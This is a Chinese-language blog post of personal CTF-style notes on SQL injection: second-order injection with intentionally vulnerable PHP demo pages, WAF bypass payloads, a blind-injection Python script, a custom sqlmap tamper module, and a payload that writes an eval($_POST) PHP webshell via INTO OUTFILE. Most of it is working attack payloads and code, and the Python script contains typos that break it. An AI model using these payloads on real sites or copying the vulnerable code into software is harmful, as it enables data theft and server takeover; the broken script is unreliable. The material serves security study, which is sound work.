sql注入总结(二)--2018自我整理
0x00前言:
继上篇的内容,这章总结下二次注入,python脚本,bypass
0x01二次注入:
二次注入的原理是在把非法代码添加进数据库里面存储了,因为 \' 这种转义不会把\(反斜杠)代入到数据库中存储,然后在其他地方调用了这个非法代码并且拼接到sql语句中了
简而言之
非法代码 ==存入==> 数据库 #非法代码 \' 这种转义的只会把 ' 存入数据库 数据库中的非法代码字段 ==取出==> 后台语言中的变量中 后台语言变量的非法代码 ==代入==> sql查询语句中进行拼接
这里我手写了个建议的二次注入原理代码
插入数据页面代码input.php
<?php
$conn = mysql_connect('localhost', 'root', 'root');
mysql_select_db("test", $conn);
?> <html>
<head>
<meta charset="utf-8">
</head>
<form action="" method="post">
用户id:<input type = "text" name="id" value="" /><br>
用户名:<input type = "text" name="username" value="" /><br>
密码:<input type = "text" name="password" value="" /><br>
邮箱:<input type ="text" name="email" value="" /><br>
<input type="submit" name="submit" />
</form>
</html> <?php
$id = @addslashes($_POST['id']);
$username = @addslashes($_POST['username']);
$password = @addslashes($_POST['password']);
$email = @addslashes($_POST['email']);
$sql = "insert into userinfo values('$id','$username','$password','$email')";
mysql_query($sql);
?>
查询数据页面代码out.php
<?php
$uid = $_GET['uid'];
$conn = mysql_connect('localhost', 'root', 'root');
mysql_select_db("test", $conn);
$sql = "SELECT * FROM userinfo where id='$uid'";
$result = mysql_query($sql);
$ans = mysql_fetch_array($result);
$username = $ans['username'];
$sql2 = "SELECT * FROM userinfo where username='$username'";
$result = mysql_query($sql2);
$ans = mysql_fetch_array($result);
var_dump($ans);
首先查看数据库里面的数据,就2个
在input.php页面添加信息,用户名就是我们的注入代码
再看数据库,发现 \ 这个符号确实没有被代入数据库中存储
在out.php中传入get参数3,发现执行union联合查询输出的1,2,database(),4。这里我数据库名字叫做'test'
至此二次查询的原理就是这样,在ctf中曾做过一道二次查询的题目
题目攻击方式大致是通过注册,如果执行成功主页和执行失败的主页是有区别的,然后写python脚本盲注得出flag
其中用户名的代码为
'or if((length((select database()))>0),1,0) or' 代入数据库前完整代码可能是
insert into user values('id','\'or if((length((select database()))>0),1,0) or\'','password') 取出数据时候的情况即
$username = $ans['username'] #$username = 'or if((length((select database()))>0),1,0) or' 第二次拼接的情况
mysql_query("select * from user where username = ''or if((length((select database()))>0),1,0) or'' ")
那么还存在一种情况就是拼接的字段是id,但是id我们不可控,比如(当然该条件有个限制即 '(单引号) 没有被转义!!!!!!)
mysql_query("insert into userinfo values('4','$username', '$password', '$email')"); 查询语句根据username取出数据库内容,再把id拼接到查询语句
$id = $ans['Id'];
mysql_query("select * from userinfo where id = $id ")
这时候我们可以控制$email参数,做到写入多组记录
si@qq.com'),('5','\' union select (database()),2,3,4 #\'','haha','haha@qq.com
可以看到一口气注册了2个账号,而5号账号是我可控的(我将源代码中input.php的addslashes给去除了)
类比下,如果只有中间的password我们可控的话
password','si@qq.com'),('5','\' union select (database()),2,3,4 #\'','haha','haha@qq.com'),('6','myname','password2 #这样会出现3组数据
或者
password','si@qq.com'),('5','\' union select (database()),2,3,4 #\'','haha #这样就出现2组数据
0x02bypass:
写bypass总有些心虚,因为自己知道的不多23333
双写绕过清空
有些waf是用preg_match将非法字符替换为空,比如
$sql = preg_match("/union|select/i", "", $sql)
它不是把你数据直接挡掉报错,而是处理后仍然通行,在有/xx/i忽视大小写可以双写
selselectect ==去掉其中的select==> sel去掉的ect ==> select
url和base64编码
其实这不怎么算bypass,但是有些书上也这么讲,这里稍微写下
在有些代码中会对参数进行base64解码,url解码等操作,如果这些操作在转义或者waf之后的话,就会逃过过滤达到注入的效果
如果在处理之前的话就没有作用啦
内敛注释
在有些在后台代码上对关键字并未过滤,但是之后会经过安全软件,再存入数据库,有时候内敛注释可以骗过安全软件
/*!union*/ #其中的union是会执行的
空格被过滤
有2中办法,通过括号或者/**/来完成不需要空格也能执行的方法
xx'/**/union/**/select/**/1,2,3,4/**/#
xx'union select(1),(2),(3)#
空格有个问题,它是将参数括起来来绕过空格,但是如果2个关键字比如这里的union和select没法一个当另一个的参数,于是有时候这个方法也不灵
单引号的过滤
虽然sql注入第一步就是将单引号逃逸出来,但是有时候单引号逃逸了后会在单引号前面加些奇怪的东西,比如GBK宽字节注入
这时候可以hex编码
'内容' 等价于 0x内容的十六进制编码
'abc' = 0x616263
特别的sprintf
有些时候会用sprintf来包裹sql语句,但是sprintf这个函数有个问题在,非正常的地方输入%,会提示warning(如果没有用@禁止的话)
利用方法,用 %1$' 代替 '
' ==> %1$'
%1$'or 1=1 #
关键字的绕过
在总结一中归纳了 ,(逗号) 被过滤的方法
if(exp1, exp2, exp3) => case when exp1 then exp2 else exp3 end substr(exp1, 1, 1) => substr(exp1) from 1 for 1
如果 and 和 or 被过滤了
and => &&
or => ||
如果where被过滤了
where id='1' => order by id having id='1'
如果'='被过滤了
'=' => '<>'
如果'<','>','='被过滤了,但是要设置范围
id = 1 ==> id between 1 and 1
关于json的编码
之前做18年HCTF的时候,一道简单的代码审计题,会将cookie中的值代入waf中,然后再进入数据库
关键点在于在经过waf后,它会进行json的解码。
在json解码中有个Unicode的编码问题,有兴趣大家可以百度下,我这里直接写利用方法
json编码可以用\u00xx (xx为16进制ascii码)来用Unicode来编码对应字符。如果waf在json_decode之前,那么可以通过这个方法绕过
'\u0075' ==> 'u'
0x03python脚本
sqlmap十分强大,但是就算是level5,有时候也会被特别的waf给拦截,调用它的bypass模块又记不住。这里就总结下自己怎么写盲注python脚本
import requests
url = "xxxx"
flag = ""
s = reuqests.session() #获取会话
for i in range(100): #在bool还是延时注入的时候都要一个个试,假设我们这里不知道目标字段的长度就稍微设置个合适的
for j in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_-,.": #这个是可能的字符,一个个试呗
payload = "xx' or if((substr(database())=" + str(j) + "," + str(i) + ",1),1,0) #" #手工测出来有效的payload,当然实际情况会根据waf变个型
data = {
'username':'payload',
'password':'123'
}
s.post(url,data=data) #发送数据
if "right" in s.text : #如果返回值有在sql语句成功后有不同于失败的时候的回显,将该回显当做判定
flag += str(j)
print flag
beak
那么我们在知道替换规则的情况下可以自己写sqlmap的bypass脚本
在sqlmap文件夹下的/tamper/下,自己创建个py文件
#!/usr/bin/env python
from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies():
pass def tamper(payload, **kwargs):
payload = payload.replace("'","%1$'") #将什么替换成什么
payload = payload.replace("u","\u0075") #将什么替换成什么,可以写很多个
return payload
在sqlmap使用的时候调用这个模块,即可使用自定义过程
sqlmap --tamper=模块名.py -u 'http://xxx.xx.xx.xx/ddd.php?id=1'
0x04将结果写入文件达到getshell
写入文件的前提是outfile这个关键字没有被禁止,并且知道web站点的绝对路径
使用方法是
xx' union select 1,2,'<?php eval($_POST[]) ?>' into outfile '/var/www/html/sijidou.php' #
0xff结语
sql注入差不多我近一年来学到的就这些,可能还远远不够,遇到一个记一个是个笨办法,但也不失是一个好办法。
sql注入总结(二)--2018自我整理的更多相关文章
- sql注入总结(一)--2018自我整理
SQL注入总结 前言: 本文和之后的总结都是进行总结,详细实现过程细节可能不会写出来~ 所有sql语句均是mysql数据库的,其他数据库可能有些函数不同,但是方法大致相同 0x00 SQL注入原理: ...
- SQL注入之二次,加解密,DNS等注入
#sql注入之二次注入 1.注入原理 二次注入可以理解为,构造恶意数据存储在数据库后,恶意数据被读取并进入到了SQL查询语句所导致的注入.恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当 ...
- SQL注入原理二
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多. 但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候 ,没有对用户输入数据的合法性进行判断,使应用程序存 ...
- 170605、防止sql注入(二)
java filter防止sql注入攻击 原理,过滤所有请求中含有非法的字符,例如:, & < select delete 等关键字,黑客可以利用这些字符进行注入攻击,原理是后台实现使 ...
- 十七:SQL注入之二次加解密,DNS注入
加解密,二次,DNSlog注入 注入原理,演示案例,实际应用. less-21关,base64进行解密 encode加密decode解密 cookie处注入 判断加密算法,然后进行注入 less-24 ...
- SQL注入篇二------利用burp盲注,post注入,http头注入,利用burpsuit找注入点,宽字节注入
1.布尔盲注burpsuit的使用 先自己构造好注入语句,利用burpsuit抓包,设置变量,查出想要的信息. 比如----查数据库名的ascii码得到数据库构造好语句 http://123.206. ...
- xss总结--2018自我整理
0x00前言 因为ctf中xss的题目偏少(因为需要机器人在后台点选手的连接2333),所有写的比较少 这里推荐个环境http://test.xss.tv/ 0x01xss作用 常见的输出函数:pri ...
- CTF SQL注入
目录 一.宽字节注入 二.基于约束的注入 三.报错注入 四.时间盲注 五.bool盲注 六.order by的注入 六.INSERT.UPDATE.DELETE相关的注入 七.堆叠注入 八.常用绕过 ...
- C#防SQL注入代码的实现方法
对于网站的安全性,是每个网站开发者和运营者最关心的问题.网站一旦出现漏洞,那势必将造成很大的损失.为了提高网站的安全性,首先网站要防注入,最重要的是服务器的安全设施要做到位. 下面说下网站防注入的几点 ...
随机推荐
- Python 成仙之路
这个部分的所有内容,都是我学习Python过程中的学习笔记. 这个部分的所有内容,都是我学习Python过程中的学习笔记. 这个部分的所有内容,都是我学习Python过程中的学习笔记. 第一部分 p ...
- 首次使用Vue开发
1.首先在页面上添加如下的代码 var app = new Vue({ el: '#signupForm', data: { UserName: '', PWD: '' } }); 2.在下面添加ht ...
- css 背景图片自适应元素大小
一.一种比较土的方法,<img>置于底层. 方法如下: CSS代码: HTML: <img src="背景图片路径" /> <span>字在背景 ...
- 【转】assert预处理宏与预处理变量
assert assert是一个预处理宏,由预处理器管理而非编译器管理,所以使用时都不用命名空间声明,如果你写成std::assert反而是错的.使用assert需要包含cassert或assert. ...
- pom.xml的第一行报错
第一行:<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.or ...
- saltstack自动化运维系列⑤之saltstack的配置管理详解
saltstack自动化运维系列⑤之saltstack的配置管理详解 配置管理初始化: a.服务端配置vim /etc/salt/master file_roots: base: - /srv/sal ...
- vue 安装教程(自己安装过程及遇到的一些坑)
1.安装node.js(http://www.runoob.com/nodejs/nodejs-install-setup.html) 2.基于node.js,利用淘宝npm镜像安装相关依赖 在cmd ...
- liunx rm 命令修改
原文:https://blog.csdn.net/Ace_Shiyuan/article/details/60139791 1.打开一个终端,输入命令:vim ~/.bashrc Linux下修改rm ...
- Laravel firstOrNew 与 firstOrCreate 的区别
例如: $item = App\Deployment::firstOrNew( ['name' => '问答小程序'], ['delayed' => 1] ); firstOrNew 需要 ...
- hdu1698
/*区间更新*/#include <cstdio> #include <algorithm> using namespace std; #define lson l , m , ...